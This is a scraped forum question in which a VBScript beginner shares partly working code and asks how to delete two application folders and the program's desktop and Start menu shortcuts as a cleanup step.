    I never did any vbscript before, so i don't know if my question is very easy one. Following is the flow of steps that has to be done : Check if exist and delete a folder at c:\test1 if found and continue. If not found continue. Check if exist and delete a folder at c:\programfiles\test2 if found and continue. If not found continue. Check if a desktop shortcut and start menu shortcut exist and delete if found. If not exit. I could delete 2 folders with the following code: strPath1 = "C:\test1" strPath1 = "C:\test1" DeleteFolder strPath1 DeleteFolder strPath1 Function DeleteFolder(strFolderPath1) Dim objFSO, objFolder Set objFSO = CreateObject ("Scripting.FileSystemObject") If objFSO.FolderExists(strFolderPath) Then objFSO.DeleteFolder strFolderPath, True End If Set objFSO = Nothing But i need to run one script to delete 2 folders in different paths, 2 shortcuts one in start menu and one on desktop. I was experimenting with this code to delete the shortcut on my desktop: Dim WSHShell, DesktopPath Set WSHShell = WScript.CreateObject("WScript.Shell") DesktopPath = WSHShell.SpecialFolders("Desktop") on error resume next Icon = DesktopPath & "\sample.txt" Set fs = CreateObject("Scripting.FileSystemObject") Set A = fs.GetFile(Icon) A.Delete WScript.Quit It works fine for txt file on desktop, but how do i delete a shortcut for an application from desktop as well as start menu.

    Read the article

1 2  | Next Page >